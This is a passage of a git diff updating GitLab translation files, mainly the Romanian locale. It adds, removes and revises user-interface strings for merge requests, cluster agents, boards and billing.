msgid "mrWidget|The pipeline for this merge request did not complete. Push a new commit to fix the failure, or check the %{linkStart}troubleshooting documentation%{linkEnd} to see other possible actions."
msgstr ""
@@ -41182,39 +41857,30 @@ msgstr ""
msgid "mrWidget|The source branch is being deleted"
msgstr ""
-msgid "mrWidget|The source branch will be deleted"
-msgstr ""
-
-msgid "mrWidget|The source branch will not be deleted"
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|There are merge conflicts"
+msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|To change these default messages, edit the templates for both the merge and squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|This project is archived, write access has been disabled"
+msgid "mrWidget|To change this default message, edit the template for merge commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
-msgid "mrWidget|To approve this merge request, please enter your password. This project requires all approvals to be authenticated."
+msgid "mrWidget|To change this default message, edit the template for squash commit messages. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
msgid "mrWidget|To merge, a Jira issue key must be mentioned in the title or description."
msgstr ""
-msgid "mrWidget|Use %{linkStart}CI pipelines to test your code%{linkEnd} by simply adding a GitLab CI configuration file to your project. It only takes a minute to make your code more secure and robust."
+msgid "mrWidget|Users who can write to the source or target branches can resolve the conflicts."
msgstr ""
msgid "mrWidget|What is a merge train?"
msgstr ""
-msgid "mrWidget|You can merge after removing denied licenses"
-msgstr ""
-
-msgid "mrWidget|You can only merge once this merge request is approved."
-msgstr ""
-
msgid "mrWidget|Your password"
msgstr ""
@@ -41375,6 +42041,18 @@ msgstr ""
msgid "pipeline schedules documentation"
msgstr ""
+msgid "pipelineEditorWalkthrough|Let's do this!"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|See how GitLab pipelines work"
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|This %{codeStart}.gitlab-ci.yml%{codeEnd} file creates a simple test pipeline."
+msgstr ""
+
+msgid "pipelineEditorWalkthrough|Use the %{boldStart}commit changes%{boldEnd} button at the bottom of the page to run the pipeline."
+msgstr ""
+
msgid "pod_name can contain only lowercase letters, digits, '-', and '.' and must start and end with an alphanumeric character"
msgstr ""
@@ -41555,9 +42233,6 @@ msgstr ""
msgid "smartcn custom analyzer"
msgstr ""
-msgid "sort:"
-msgstr ""
-
msgid "source"
msgstr ""
@@ -41582,6 +42257,9 @@ msgstr ""
msgid "starts on %{timebox_start_date}"
msgstr ""
+msgid "structure is too large"
+msgstr ""
+
msgid "stuck"
msgstr ""
diff --git a/locale/ro_RO/gitlab.po b/locale/ro_RO/gitlab.po
index d1f6df211ae..603121c34b9 100644
--- a/locale/ro_RO/gitlab.po
+++ b/locale/ro_RO/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: ro\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-11-02 00:38\n"
+"PO-Revision-Date: 2021-12-06 18:55\n"
msgid " %{start} to %{end}"
msgstr " de la %{start} până la %{end}"
@@ -70,9 +70,6 @@ msgstr "\"%{path}\" nu a existat pe \"%{ref}\""
msgid "\"%{repository_name}\" size (%{repository_size}) is larger than the limit of %{limit}."
msgstr "\"%{repository_name}\" dimensiunea (%{repository_size}) este mai mare decât limita de %{limit}."
-msgid "\"el\" parameter is required for createInstance()"
-msgstr "Parametrul \"el\" este necesar pentru createInstance()"
-
msgid "#%{issueIid} (closed)"
msgstr ""
@@ -271,6 +268,12 @@ msgstr[0] "%d rezultat de test rezolvat"
msgstr[1] "%d rezultate de test rezolvate"
msgstr[2] "%d de rezultate de test rezolvate"
+msgid "%d fork"
+msgid_plural "%d forks"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d group"
msgid_plural "%d groups"
msgstr[0] "%d grup"
@@ -331,6 +334,12 @@ msgstr[0] "%d merge request la care nu aveți acces."
msgstr[1] "%d merge request-uri la care nu aveți acces."
msgstr[2] "%d de merge request-uri la care nu aveți acces."
+msgid "%d merge requests"
+msgid_plural "%d merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d metric"
msgid_plural "%d metrics"
msgstr[0] "%d măsurătoare"
@@ -409,6 +418,12 @@ msgstr[0] "%d fragment selectat"
msgstr[1] "%d fragmente selectate"
msgstr[2] "%d de fragmente selectate"
+msgid "%d star"
+msgid_plural "%d stars"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%d tag"
msgid_plural "%d tags"
msgstr[0] "%d etichetă"
@@ -472,6 +487,12 @@ msgstr[2] "%s de commit-uri suplimentare au fost omise pentru a preveni probleme
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr "%{actionText} & %{openOrClose} %{noteable}"
+msgid "%{actionText} & close %{noteable}"
+msgstr ""
+
+msgid "%{actionText} & reopen %{noteable}"
+msgstr ""
+
msgid "%{address} is an invalid IP address range"
msgstr "%{address} este un interval de adrese IP invalid"
@@ -553,6 +574,12 @@ msgstr[2] "%{count} de aprobări cerute de %{name}"
msgid "%{count} approvals from %{name}"
msgstr "%{count} aprobări de la %{name}"
+msgid "%{count} contact"
+msgid_plural "%{count} contacts"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} files touched"
msgstr "%{count} fișiere atinse"
@@ -778,8 +805,8 @@ msgstr "%{link_start}Învățați mai multe%{link_end} despre roluri."
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
msgstr "%{link_start}Eliminați %{draft_snippet} prefixul%{link_end} din titlu pentru a permite ca acest merge request să fie îmbinat când este gata."
-msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request that is a work in progress from being merged before it's ready."
-msgstr "%{link_start}Începeți titlul cu %{draft_snippet}%{link_end} pentru a preveni merge request-ul care este o lucrare în curs de a fi îmbinat înainte de a fi gata."
+msgid "%{link_start}Start the title with %{draft_snippet}%{link_end} to prevent a merge request draft from merging before it's ready."
+msgstr ""
msgid "%{link_start}What information does GitLab Inc. collect?%{link_end}"
msgstr "%{link_start}Ce informații colectează GitLab Inc.?%{link_end}"
@@ -832,6 +859,9 @@ msgstr "%{name} a găsit %{resultsString}"
msgid "%{name} is already being used for another emoji"
msgstr "%{name} este deja folosit pentru un alt emoji"
+msgid "%{name} is reserved for %{type} report type"
+msgstr ""
+
msgid "%{name} is scheduled for %{action}"
msgstr "%{name} este programat pentru %{action}"
@@ -865,9 +895,6 @@ msgstr "%{oneWeekAgo} - %{today}"
msgid "%{oneYearAgo} - %{today}"
msgstr "%{oneYearAgo} - %{today}"
-msgid "%{openOrClose} %{noteable}"
-msgstr "%{openOrClose} %{noteable}"
-
msgid "%{openedEpics} open, %{closedEpics} closed"
msgstr "%{openedEpics} deschise, %{closedEpics} închise"
@@ -892,6 +919,9 @@ msgstr "%{placeholder} nu este o temă validă"
msgid "%{primary} (%{secondary})"
msgstr "%{primary} (%{secondary})"
+msgid "%{project_path} is a project that you can use to add a README to your GitLab profile. Create a public project and initialize the repository with a README to get started. %{help_link_start}Learn more.%{help_link_end}"
+msgstr ""
+
msgid "%{ref} cannot be added: %{error}"
msgstr "%{ref} nu poate fi adăugat: %{error}"
@@ -925,6 +955,9 @@ msgstr "%{rotation} a fost recalculat cu participanții rămași. Vă rugăm să
msgid "%{scope} results for term '%{term}'"
msgstr "%{scope} rezultate pentru termenul '%{term}'"
+msgid "%{search} %{description} %{scope}"
+msgstr ""
+
msgid "%{seconds}s"
msgstr "%{seconds}s"
@@ -973,9 +1006,6 @@ msgstr "%{spanStart}în%{spanEnd} %{errorFn}"
msgid "%{start} to %{end}"
msgstr "de la %{start} până la %{end}"
-msgid "%{state} epics"
-msgstr "%{state} epice"
-
msgid "%{strongOpen}Warning:%{strongClose} SAML group links can cause GitLab to automatically remove members from groups."
msgstr ""
@@ -1081,6 +1111,9 @@ msgstr "%{total} greutate problemă deschisă"
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr "%{total} avertismente găsite: se afișează primul %{warningsDisplayed}"
+msgid "%{type} only supports %{name} name"
+msgstr ""
+
msgid "%{userName} (cannot merge)"
msgstr "%{userName} (nu se poate îmbina)"
@@ -1213,6 +1246,12 @@ msgstr "(eliminat)"
msgid "(revoked)"
msgstr "(revocat)"
+msgid "(squashes %d commit)"
+msgid_plural "(squashes %d commits)"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "(this user)"
msgstr ""
@@ -1222,6 +1261,9 @@ msgstr "(avem nevoie de parola curentă pentru a confirma modificările)"
msgid "* All times are in UTC unless specified"
msgstr ""
+msgid "*Required"
+msgstr ""
+
msgid "+ %{amount} more"
msgstr "+ %{amount} mai mult"
@@ -1261,6 +1303,9 @@ msgstr "+%{more_reviewers_count} mai mulți recenzori"
msgid "+%{tags} more"
msgstr "+%{tags} mai mult"
+msgid ", and "
+msgstr ""
+
msgid ", or "
msgstr ", sau "
@@ -1591,9 +1636,6 @@ msgstr "A fost publicată o nouă versiune %{tag} pentru %{name}. Vizitați pagi
msgid "A new Release %{tag} for %{name} was published. Visit the Releases page to read more about it:"
msgstr "A fost publicată o nouă versiune %{tag} pentru %{name}. Vizitați pagina Lansări pentru a citi mai multe despre aceasta:"
-msgid "A new branch will be created in your fork and a new merge request will be started."
-msgstr "O nouă ramură va fi creată în bifurcația dvs. și un nou merge request va fi pornit."
-
msgid "A new impersonation token has been created."
msgstr "A fost creat un nou token de impersonare."
@@ -1630,9 +1672,6 @@ msgstr "O rebazare este deja în curs de desfășurare."
msgid "A sign-in to your account has been made from the following IP address: %{ip}"
msgstr "A fost efectuată o autentificare în contul dvs. de la următoarea adresă IP: %{ip}"
-msgid "A string appended to the project path to form the Service Desk email address."
-msgstr "Un șir de caractere adăugat la traiectoria proiectului pentru a forma adresa de e-mail a Biroului de Asistență."
-
msgid "A title is required"
msgstr "Este necesar un titlu"
@@ -1681,9 +1720,6 @@ msgstr "Alegeți o metodă"
msgid "APIFuzzing|Choose a profile"
msgstr "Alegeți un profil"
-msgid "APIFuzzing|Code snippet could not be generated. Try again later."
-msgstr "Fragmentul de cod nu a putut fi generat. Încercați mai târziu."
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr "Configurați valorile de autentificare de bază HTTP. Sunt acceptate și alte metode de autentificare. %{linkStart}Aflați mai multe%{linkEnd}."
@@ -1819,9 +1855,6 @@ msgstr "Token-uri de acces"
msgid "Access denied for your LDAP account."
msgstr "Accesul a fost refuzat pentru contul dvs. LDAP."
-msgid "Access denied! Please verify you can add deploy keys to this repository."
-msgstr "Acces interzis! Verificați dacă puteți adăuga chei de implementare în acest repozitoriu."
-
msgid "Access denied: %{error}"
msgstr "Acces interzis: %{error}"
@@ -2068,12 +2101,18 @@ msgstr "Adăugați o listă numerotată"
msgid "Add a related issue"
msgstr "Adăugați o problemă conexă"
+msgid "Add a suffix to Service Desk email address. %{linkStart}Learn more.%{linkEnd}"
+msgstr ""
+
msgid "Add a table"
msgstr "Adăugați un tabel"
msgid "Add a task list"
msgstr "Adăugați o listă de sarcini"
+msgid "Add a title…"
+msgstr ""
+
msgid "Add a to do"
msgstr "Adăugați o acțiune de făcut"
@@ -2116,6 +2155,12 @@ msgstr "Adăugați mesaje de confirmare ca comentarii la sarcinile Asana. %{docs
msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
msgstr "Adăugați mesaje de comitere ca și comentarii la povești Pivotal Tracker. %{docs_link}"
+msgid "Add customer relation contact(s)."
+msgstr ""
+
+msgid "Add customer relation contacts"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr "Adăugați înghețarea implementării"
@@ -2158,9 +2203,6 @@ msgstr "Adăugați o aplicație nouă"
msgid "Add new directory"
msgstr "Adăugați un director nou"
-msgid "Add new service account"
-msgstr ""
-
msgid "Add or remove previously merged commits"
msgstr "Adăugați sau eliminați comiteri îmbinate anterior"
@@ -2230,6 +2272,9 @@ msgstr "Adăugați utilizatorii în grup"
msgid "Add variable"
msgstr "Adăugare variabilă"
+msgid "Add vulnerability finding"
+msgstr ""
+
msgid "Add webhook"
msgstr "Adăugare webhook"
@@ -2275,9 +2320,6 @@ msgstr "S-a adăugat un to do."
msgid "Added an issue to an epic."
msgstr "Problemă adăugată la o epică."
-msgid "Added at"
-msgstr "Adăugat la"
-
msgid "Added for this merge request"
msgstr "Adăugat pentru acest merge request"
@@ -2320,8 +2362,8 @@ msgstr "Adaugă %{epic_ref} ca epică secundară."
msgid "Adds %{labels} %{label_text}."
msgstr "Adaugă %{labels} %{label_text}."
-msgid "Adds a Zoom meeting"
-msgstr "Adaugă o întâlnire Zoom"
+msgid "Adds a Zoom meeting."
+msgstr ""
msgid "Adds a to do."
msgstr "Adaugă un to do."
@@ -2329,8 +2371,8 @@ msgstr "Adaugă un to do."
msgid "Adds an issue to an epic."
msgstr "Adaugă o problemă la o epică."
-msgid "Adds email participant(s)"
-msgstr "Adăugați participant(ți) e-mail"
+msgid "Adds email participant(s)."
+msgstr ""
msgid "Adjust how frequently the GitLab UI polls for updates."
msgstr "Ajustați cât de frecvent GitLab UI votează pentru actualizări."
@@ -2425,6 +2467,9 @@ msgstr "Ultimii utilizatori"
msgid "AdminArea|Maintainer"
msgstr "Întreținător"
+msgid "AdminArea|Minimal access"
+msgstr ""
+
msgid "AdminArea|New group"
msgstr "Grup nou"
@@ -2491,8 +2536,8 @@ msgstr "Sunteți pe cale de a opri toate joburile. Acest lucru va opri toate job
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr "Eroare la încărcarea statisticilor. Vă rugăm încercați din nou"
-msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. Once you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
-msgstr "Sigur doriți să ștergeți proiectul %{projectName}, repozitoriul lui, și toate obiectele relatate, incluzând probleme și cereri de îmbinare? Odată ce confirmați și apăsați %{strong_start}Șterge proiectul%{strong_end}, nu puteți da înapoi."
+msgid "AdminProjects| You’re about to permanently delete the project %{projectName}, its repository, and all related resources, including issues and merge requests. After you confirm and press %{strong_start}Delete project%{strong_end}, it cannot be undone or recovered."
+msgstr ""
msgid "AdminProjects|Delete"
msgstr "Ștergeți"
@@ -3028,20 +3073,29 @@ msgstr "Setări avansate"
msgid "Advanced export options"
msgstr "Opțiuni avansate de export"
+msgid "AdvancedSearch|Reindex required"
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
+msgstr ""
+
+msgid "After a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. You will lose this project's repository and %{strongStart}all related resources%{strongEnd}, including issues and merge requests."
+msgstr ""
+
msgid "After a successful password update you will be redirected to login screen."
msgstr "După o actualizare cu succes a parolei, veți fi redirecționat către ecranul de autentificare."
msgid "After a successful password update, you will be redirected to the login page where you can log in with your new password."
msgstr "După o actualizare cu succes a parolei, veți fi redirecționat către pagina de autentificare, unde vă puteți autentifica cu noua parolă."
-msgid "After that, you will not be able to use merge approvals or code quality as well as many other features."
-msgstr "După aceea, nu veți mai putea utiliza aprobările de îmbinare sau calitatea codului, precum și multe alte funcții."
+msgid "After it expires, you can't use merge approvals, code quality, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many other features."
-msgstr "După aceea, nu veți mai putea utiliza aprobări de îmbinare sau epice, precum și multe alte funcții."
+msgid "After it expires, you can't use merge approvals, epics, or many other features."
+msgstr ""
-msgid "After that, you will not be able to use merge approvals or epics as well as many security features."
-msgstr "După aceea, nu veți mai putea folosi aprobări de îmbinare sau epice precum și multe alte funcții de securitate."
+msgid "After it expires, you can't use merge approvals, epics, or many security features."
+msgstr ""
msgid "After you've reviewed these contribution guidelines, you'll be all set to"
msgstr "După ce ați examinat aceste reguli privind contribuțiile, veți fi gata să"
@@ -3631,9 +3685,6 @@ msgstr "O notificare prin e-mail a fost trimisă recent din panoul de administra
msgid "An empty GitLab User field will add the FogBugz user's full name (e.g. \"By John Smith\") in the description of all issues and comments. It will also associate and/or assign these issues and comments with the project creator."
msgstr "Un câmp gol al utilizatorului GitLab va adăuga numele complet al utilizatorului FogBugz (de ex. \"de John Smith\") în descrierea tuturor problemelor și comentariilor. De asemenea, va asocia și / sau va atribui aceste probleme și comentarii cu creatorul de proiect."
-msgid "An empty index will be created if one does not already exist"
-msgstr "Se va crea un index gol dacă nu există deja unul"
-
msgid "An error has occurred"
msgstr "A apărut o eroare"
@@ -3661,6 +3712,9 @@ msgstr "A apărut o eroare la preluarea datelor listei verticale."
msgid "An error occurred fetching the project authors."
msgstr "A apărut o eroare preluând autorii proiectului."
+msgid "An error occurred fetching the public deploy keys. Please try again."
+msgstr ""
+
msgid "An error occurred previewing the blob"
msgstr "A apărut o eroare de previzualizare a blobului"
@@ -3820,6 +3874,9 @@ msgstr "A apărut o eroare în timpul încărcării tuturor fișierelor."
msgid "An error occurred while loading chart data"
msgstr "A apărut o eroare la încărcarea datelor din diagramă"
+msgid "An error occurred while loading code owners."
+msgstr ""
+
msgid "An error occurred while loading commit signatures"
msgstr "A apărut o eroare la încărcarea semnăturilor commit-ului"
@@ -4003,6 +4060,9 @@ msgstr "Un proiect de exemplu care prezintă cele mai bune practici pentru confi
msgid "An example showing how to use Jsonnet with GitLab dynamic child pipelines"
msgstr "Un exemplu care arată cum să utilizați Jsonnet cu conducte dinamice copii ale GitLab"
+msgid "An integer value is required for seconds"
+msgstr ""
+
msgid "An issue already exists"
msgstr "Există deja o problemă"
@@ -4042,6 +4102,9 @@ msgstr "Analizați o versiune de revizuire a aplicației dvs. web."
msgid "Analyze your dependencies for known vulnerabilities."
msgstr "Analizați-vă dependențele pentru vulnerabilități cunoscute."
+msgid "Analyze your infrastructure as code configuration files for known vulnerabilities."
+msgstr ""
+
msgid "Analyze your source code and git history for secrets."
msgstr "Analizați-vă codul sursă și istoricul git pentru a găsi secrete."
@@ -4084,9 +4147,6 @@ msgstr "Orice obiectiv"
msgid "Any encrypted tokens"
msgstr "Orice token-uri criptate"
-msgid "Any files larger than this limit only index the file name. The file content is neither indexed nor searchable."
-msgstr "Orice fișiere mai mari decât această limită indexează numele fișierului. Conținutul fișierului nu este nici indexat, nici disponibil pentru căutare."
-
msgid "Any label"
msgstr "Orice etichetă"
@@ -4099,9 +4159,6 @@ msgstr "Orice obiectiv"
msgid "Any namespace"
msgstr "Orice spațiu de nume"
-msgid "App Engine description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "App ID"
msgstr "ID Aplicație"
@@ -4159,6 +4216,9 @@ msgstr[0] "Aprobați %d utilizatori"
msgstr[1] "Aprobați %d utilizatori"
msgstr[2] "Aprobați %d de utilizatori"
+msgid "ApplicationSettings|Approve users"
+msgstr ""
+
msgid "ApplicationSettings|Approve users in the pending approval status?"
msgstr "Aprobați utilizatorii în statusul de aprobare în așteptare?"
@@ -4168,6 +4228,9 @@ msgstr[0] "Făcând această modificare, veți aproba automat %d utilizator cu s
msgstr[1] "Făcând această modificare, veți aproba automat %d utilizatori cu statusul de aprobare în așteptare."
msgstr[2] "Făcând această modificare, veți aproba automat %d de utilizatori cu statusul de aprobare în așteptare."
+msgid "ApplicationSettings|By making this change, you will automatically approve all users in pending approval status."
+msgstr ""
+
msgid "ApplicationSettings|Denied domains for sign-ups"
msgstr "Domenii refuzate pentru înscrieri"
@@ -4585,6 +4648,9 @@ msgstr "Sunteți sigur că doriți să ștergeți acest %{typeOfComment}?"
msgid "Are you sure you want to delete this SSH key?"
msgstr "Sunteți sigur că doriți să ștergeți această cheie SSH?"
+msgid "Are you sure you want to delete this deploy key?"
+msgstr ""
+
msgid "Are you sure you want to delete this device? This action cannot be undone."
msgstr "Sunteți sigur că doriți să ștergeți acest dispozitiv? Această acțiune nu poate fi anulată."
@@ -4789,6 +4855,9 @@ msgstr "Atribuire către"
msgid "Assign to commenting user"
msgstr "Atribuire unui utilizator comentator"
+msgid "Assign to me"
+msgstr ""
+
msgid "Assign yourself to these issues"
msgstr "Atribuiți-vă acestor probleme"
@@ -4888,6 +4957,9 @@ msgstr "Atașarea fișierului a eșuat."
msgid "Audit Events"
msgstr "Evenimente de audit"
+msgid "Audit events"
+msgstr ""
+
msgid "AuditLogs|(removed)"
msgstr "(eliminat)"
@@ -5536,6 +5608,9 @@ msgstr "Utilizatorul a fost eliminat cu succes"
msgid "Billing|Users occupying seats in"
msgstr ""
+msgid "Billing|View pending approvals"
+msgstr ""
+
msgid "Billing|You are about to remove user %{username} from your subscription. If you continue, the user will be removed from the %{namespace} group and all its subgroups and projects. This action can't be undone."
msgstr ""
@@ -5614,6 +5689,9 @@ msgstr "Selectați un proiect"
msgid "BoardScope|An error occurred while getting milestones, please try again."
msgstr "S-a întâmplat o eroare preluând obiective, vă rugăm încercați din nou."
+msgid "BoardScope|An error occurred while searching for labels, please try again."
+msgstr ""
+
msgid "BoardScope|An error occurred while searching for users, please try again."
msgstr "S-a întâmplat o eroare căutând utilizatori, vă rugăm încercați din nou."
@@ -5623,12 +5701,21 @@ msgstr "Orice obiectiv"
msgid "BoardScope|Any assignee"
msgstr "Orice responsabil"
+msgid "BoardScope|Any label"
+msgstr ""
+
msgid "BoardScope|Assignee"
msgstr "Responsabil"
+msgid "BoardScope|Choose labels"
+msgstr ""
+
msgid "BoardScope|Edit"
msgstr "Editare"
+msgid "BoardScope|Labels"
+msgstr ""
+
msgid "BoardScope|Milestone"
msgstr "Obiectiv"
@@ -5641,6 +5728,9 @@ msgstr "Căutați obiective"
msgid "BoardScope|Select assignee"
msgstr "Selectați responsabilul"
+msgid "BoardScope|Select labels"
+msgstr ""
+
msgid "BoardScope|Select milestone"
msgstr "Selectați obiectivul"
@@ -5734,6 +5824,9 @@ msgstr "Extindeți"
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New board"
+msgstr ""
+
msgid "Boards|New epic"
msgstr ""
@@ -5746,6 +5839,9 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Board|An error occurred while fetching the board, please try again."
+msgstr ""
+
msgid "Board|Are you sure you want to delete this board?"
msgstr ""
@@ -6037,11 +6133,14 @@ msgstr "Import eșuat: Destinația nu poate fi un subgrup al grupului sursă. Sc
msgid "BulkImport|Import groups from GitLab"
msgstr "Import grupuri din GitLab"
+msgid "BulkImport|Import is finished. Pick another name for re-import"
+msgstr ""
+
msgid "BulkImport|Import selected"
msgstr "Import selectat"
-msgid "BulkImport|Importing the group failed"
-msgstr "Importul grupului a eșuat"
+msgid "BulkImport|Importing the group failed."
+msgstr ""
msgid "BulkImport|Last imported to %{link}"
msgstr ""
@@ -6049,6 +6148,9 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr "Numele există deja."
+msgid "BulkImport|Name already used as a target for another group."
+msgstr ""
+
msgid "BulkImport|New group"
msgstr ""
@@ -6295,6 +6397,9 @@ msgstr ""
msgid "Cadence is not automated"
msgstr "Cadența nu este automatizată"
+msgid "Calculate the number of slices during reindexing. The multiplier is applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6589,10 +6694,10 @@ msgstr ""
msgid "ChangeReviewer|Unassigned"
msgstr "Neatribuit"
-msgid "ChangeTypeAction|A new branch will be created in your fork and a new merge request will be started."
+msgid "ChangeTypeAction|Cherry-pick"
msgstr ""
-msgid "ChangeTypeAction|Cherry-pick"
+msgid "ChangeTypeAction|GitLab will create a branch in your fork and start a merge request."
msgstr ""
msgid "ChangeTypeAction|Pick into branch"
@@ -6643,9 +6748,6 @@ msgstr "Schimbări"
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
-msgid "Changes are still tracked. Useful for cluster/index migrations."
-msgstr ""
-
msgid "Changes saved."
msgstr ""
@@ -6658,6 +6760,9 @@ msgstr "Schimbați titlul în \"%{title_param}\"."
msgid "Changes to the title have not been saved"
msgstr "Schimbările aduse titlului nu au fost salvate"
+msgid "Changing any setting here requires an application restart"
+msgstr ""
+
msgid "Changing group URL can have unintended side effects."
msgstr "Schimbarea adresei URL a grupului poate avea efecte secundare neintenționate."
@@ -6721,12 +6826,12 @@ msgstr ""
msgid "Check out, review, and merge locally"
msgstr ""
+msgid "Check the %{code_open}elasticsearch.log%{code_close} file to debug why the migration halted and make any changes before retrying the migration. When you fix the cause of the failure, select %{strong_open}Retry migration%{strong_close}, and the migration is scheduled to retry in the background."
+msgstr ""
+
msgid "Check the current instance configuration "
msgstr "Verificați configurația instanței curente "
-msgid "Check the elasticsearch.log file to debug why the migration was halted and make any changes before retrying the migration. When you fix the cause of the failure, click \"Retry migration\", and the migration will be scheduled to be retried in the background."
-msgstr ""
-
msgid "Check with your administrator."
msgstr ""
@@ -6787,6 +6892,9 @@ msgstr ""
msgid "Checkout|%{name}'s storage subscription"
msgstr ""
+msgid "Checkout|%{quantity} CI minutes"
+msgstr ""
+
msgid "Checkout|%{quantity} GB of storage"
msgstr ""
@@ -6802,9 +6910,6 @@ msgstr ""
msgid "Checkout|%{startDate} - %{endDate}"
msgstr "%{startDate} - %{endDate}"
-msgid "Checkout|%{totalCiMinutes} CI minutes"
-msgstr "%{totalCiMinutes} minute CI"
-
msgid "Checkout|(may be %{linkStart}charged upon purchase%{linkEnd})"
msgstr "(poate fi %{linkStart}plătit la achiziție%{linkEnd})"
@@ -7003,9 +7108,6 @@ msgstr "Suport pentru limba chineză folosind"
msgid "Choose File..."
msgstr "Alegeți Fișierul..."
-msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
-msgstr "Alegeți o ramură/etichetă (de exemplu, %{branch}) sau introduceți un commit (de exemplu, %{sha}) pentru a vedea ce s-a schimbat sau pentru a crea o cerere de îmbinare."
-
msgid "Choose a file"
msgstr "Alegeți un fisier"
@@ -7303,6 +7405,9 @@ msgstr ""
msgid "Clients"
msgstr "Clienți"
+msgid "Clientside DSN"
+msgstr ""
+
msgid "Clone"
msgstr ""
@@ -7345,6 +7450,9 @@ msgstr "ÃŽnchide"
msgid "Close %{issueType}"
msgstr "Închideți %{issueType}"
+msgid "Close %{noteable}"
+msgstr ""
+
msgid "Close %{tabname}"
msgstr ""
@@ -7387,12 +7495,6 @@ msgstr "ÃŽnchis: %{closed}"
msgid "Closes this %{quick_action_target}."
msgstr "Închide această %{quick_action_target}."
-msgid "Cloud Functions description and apps that are suitable for this deployment target"
-msgstr ""
-
-msgid "Cloud Run description and apps that are suitable for this deployment target"
-msgstr ""
-
msgid "Cluster"
msgstr "Cluster"
@@ -7414,17 +7516,32 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr "Tipul de cluster trebuie să fie specificat pentru Stages::ClusterEndpointInserter"
+msgid "ClusterAgents|%{number} of %{total} agents"
+msgstr ""
+
+msgid "ClusterAgents|%{number} of %{total} clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Access tokens"
msgstr ""
+msgid "ClusterAgents|Actions"
+msgstr ""
+
+msgid "ClusterAgents|Advanced installation methods"
+msgstr ""
+
+msgid "ClusterAgents|Agent"
+msgstr ""
+
msgid "ClusterAgents|Agent might not be connected to GitLab"
msgstr ""
msgid "ClusterAgents|Agent never connected to GitLab"
msgstr ""
-msgid "ClusterAgents|Alternative installation methods"
-msgstr "Metode alternative de instalare"
+msgid "ClusterAgents|All"
+msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
msgstr ""
@@ -7435,9 +7552,30 @@ msgstr "A apărut o eroare la încărcarea agentului dumneavoastră"
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr "A apărut o eroare necunoscută. Vă rugăm să încercați din nou."
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr "Conectat"
@@ -7447,6 +7585,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr "Copiați token"
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr "Creat de"
@@ -7456,28 +7597,31 @@ msgstr "Creat de %{name} %{time}"
msgid "ClusterAgents|Date created"
msgstr "Data creării"
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr "Descriere"
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
-msgstr "Pentru metodele alternative de instalare %{linkStart}mergeți la documentație%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
+msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
